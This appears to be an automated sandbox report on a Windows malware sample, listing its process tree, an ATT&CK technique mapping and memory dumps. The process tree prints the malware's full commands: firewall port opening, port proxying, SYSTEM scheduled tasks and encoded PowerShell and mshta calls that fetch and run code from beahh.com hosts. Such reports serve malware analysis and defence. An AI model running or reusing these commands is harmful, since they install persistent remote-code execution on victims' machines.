C:\Windows\iFHHRLcj.exe
1⤵
PID:1936
- C:\Windows\SysWOW64\cmd.exe
  cmd /c call "c:\windows\temp\tmp.vbs"
  2⤵
  - Modifies data under HKEY_USERS
  PID:2176
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
    3⤵
    - Modifies data under HKEY_USERS
    PID:2164
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c echo kEEBpSB >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\QOXCwN.exe&move /y c:\windows\temp\dig.exe c:\windows\SxgyJD.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn QOXCwN /tr "C:\Windows\QOXCwN.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\FJmLR" /tr "c:\windows\SxgyJD.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pTUICJFPF"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\SxgyJD.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\QOXCwN.exe"&schtasks /run /TN escan)
      4⤵
      Drops file in Windows directory
      PID:2196
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add portopening tcp 65533 DNSd
        5⤵
        Modifies data under HKEY_USERS
        
        PID:2212
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
        5⤵
        Modifies data under HKEY_USERS
        
        PID:2436
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2416
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn QOXCwN /tr "C:\Windows\QOXCwN.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2264
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\FJmLR" /tr "c:\windows\SxgyJD.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c call "c:\windows\temp\tmp.vbs"
  2⤵
  PID:2860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c call "c:\windows\temp\tmp.vbs"
  2⤵
  - Modifies data under HKEY_USERS
  PID:2804
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
    3⤵
    - Modifies data under HKEY_USERS
    PID:2996
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c echo Ekeglfi >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\hash.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\bbncwIZj.exe&move /y c:\windows\temp\dig.exe c:\windows\Dzloe.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn bbncwIZj /tr "C:\Windows\bbncwIZj.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\IwyIdy" /tr "c:\windows\Dzloe.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pTUICJFPF"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\Dzloe.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\bbncwIZj.exe"&schtasks /run /TN escan)
      4⤵
      Drops file in Windows directory
      PID:2076
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add portopening tcp 65533 DNSd
        5⤵
        
        PID:2812
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
        5⤵
        
        PID:556
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
        5⤵
        Creates scheduled task(s)
        Modifies data under HKEY_USERS
        
        PID:2812
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn bbncwIZj /tr "C:\Windows\bbncwIZj.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:552
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\IwyIdy" /tr "c:\windows\Dzloe.exe" /F
        5⤵
        Creates scheduled task(s)
        Modifies data under HKEY_USERS
        
        PID:556

C:\Windows\BCKgEwre.exe
C:\Windows\BCKgEwre.exe
1⤵
PID:2064

C:\Windows\PlLAMKeI.exe
C:\Windows\PlLAMKeI.exe
1⤵
PID:1420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c call "c:\windows\temp\tmp.vbs"
  2⤵
  - Modifies data under HKEY_USERS
  PID:2372
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
    3⤵
    - Modifies data under HKEY_USERS
    PID:2240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c echo oyGedYNG >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\hash.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\QOXCwN.exe&move /y c:\windows\temp\dig.exe c:\windows\SxgyJD.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn QOXCwN /tr "C:\Windows\QOXCwN.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\UXSkoGS" /tr "c:\windows\SxgyJD.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pTUICJFPF"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\SxgyJD.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\QOXCwN.exe"&schtasks /run /TN escan)
      4⤵
      PID:2768
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add portopening tcp 65533 DNSd
        5⤵
        Modifies data under HKEY_USERS
        
        PID:2608
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
        5⤵
        Modifies data under HKEY_USERS
        
        PID:2640
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2784
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn QOXCwN /tr "C:\Windows\QOXCwN.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2760
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\UXSkoGS" /tr "c:\windows\SxgyJD.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2764

C:\Windows\yDwLCWMd.exe
C:\Windows\yDwLCWMd.exe
1⤵
PID:2480

C:\Windows\vKARiKiv.exe
C:\Windows\vKARiKiv.exe
1⤵
PID:2700

C:\Windows\XqaRDcpT.exe
C:\Windows\XqaRDcpT.exe
1⤵
PID:2832

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Account Manipulation

T1098

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Account Manipulation

T1098

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1672-54-0x000007FEF5860000-0x000007FEF624C000-memory.dmp

Filesize
9.9MB

Download
memory/1672-58-0x000000001A9E0000-0x000000001A9E2000-memory.dmp

Filesize
8KB

Download
memory/1672-63-0x000000001A9EA000-0x000000001AA09000-memory.dmp

Filesize
124KB

Download
memory/1672-53-0x000007FEFC121000-0x000007FEFC123000-memory.dmp

Filesize
8KB

Download
memory/1672-62-0x000000001B860000-0x000000001B861000-memory.dmp

Filesize
4KB

Download
memory/1672-60-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1672-59-0x000000001A9E4000-0x000000001A9E6000-memory.dmp

Filesize
8KB

Download
memory/1672-56-0x000000001AC70000-0x000000001AC71000-memory.dmp

Filesize
4KB

Download
memory/1672-55-0x0000000002300000-0x0000000002301000-memory.dmp

Filesize
4KB

Download
memory/1672-64-0x000000001C3F0000-0x000000001C3F1000-memory.dmp

Filesize
4KB

Download
memory/1672-57-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/2036-6-0x00000000761F1000-0x00000000761F3000-memory.dmp

Filesize
8KB

Download